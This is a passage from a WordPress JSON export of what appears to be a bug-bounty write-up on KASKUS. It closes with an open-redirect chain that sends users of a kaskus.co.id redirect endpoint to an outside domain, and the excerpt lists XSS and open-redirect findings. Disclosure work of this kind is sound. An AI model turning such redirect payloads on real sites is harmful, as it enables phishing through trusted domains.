class=\"language-HTML\">https:\/\/www.kaskus.co.id\/redirect?url=https:\/\/fjb.kaskus.co.id\/user\/switchtomobile\/?url=.rizal.ninja ==> https:\/\/fjb.kaskus.co.id\/user\/switchtomobile\/?url=.rizal.ninja ==> https:\/\/fjb.m.kaskus.co.id.rizal.ninja\n<\/code><\/pre>\n\n\n\n<p>That\u2019s all for now. I hope this report helps highlight some vulnerabilities I found on KASKUS. While these issues may seem minor, they pose potential risks for users and should be addressed for a safer browsing experience.<\/p>\n\n\n\n<p><strong>#HappyHacking<\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>This time, I\u2019d like to share my bug-hunting experience on the KASKUS website. I\u2019ve discovered several bugs, including POST-based XSS, Reflected XSS, Stored XSS, and Open Redirect Vulnerabilities. Recon The first step I took was reconnaissance, starting with gathering subdomains for the KASKUS site. I used sublist3r to collect these subdomains. Once I had collected [&hellip;]<\/p>\n","protected":false},"author":3,"featured_media":148,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[21],"tags":[23,9,26,8],"class_list":["post-127","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-research","tag-bug-bounty","tag-cross-site-scripting","tag-open-redirection","tag-xss"],"_links":{"self":[{"href":"https:\/\/n45ht.or.id\/blog\/wp-json\/wp\/v2\/posts\/127","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/n45ht.or.id\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/n45ht.or.id\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/n45ht.or.id\/blog\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/n45ht.or.id\/blog\/wp-json\/wp\/v2\/comments?post=127"}],"version-history":[{"count":1,"href":"https:\/\/n45ht.or.id\/blog\/wp-json\/wp\/v2\/posts\/127\/revisions"}],"predecessor-version":[{"id":149,"href":"https:\/\/n45ht.or.id\/blog\/wp-json\/wp\/v2\/posts\/127\/revisions\/149"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/n45ht.or.id\/blog\/wp-json\/wp\/v2\/media\/148"}],"wp:attachment":[{"href":"https:\/\/n45ht.or.id\/blog\/wp-json\/wp\/v2\/media?parent=127"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/n45ht.or.id\/blog\/wp-json\/wp\/v2\/categories?post=127"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/n45ht.or.id\/blog\/wp-json\/wp\/v2\/tags?post=127"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}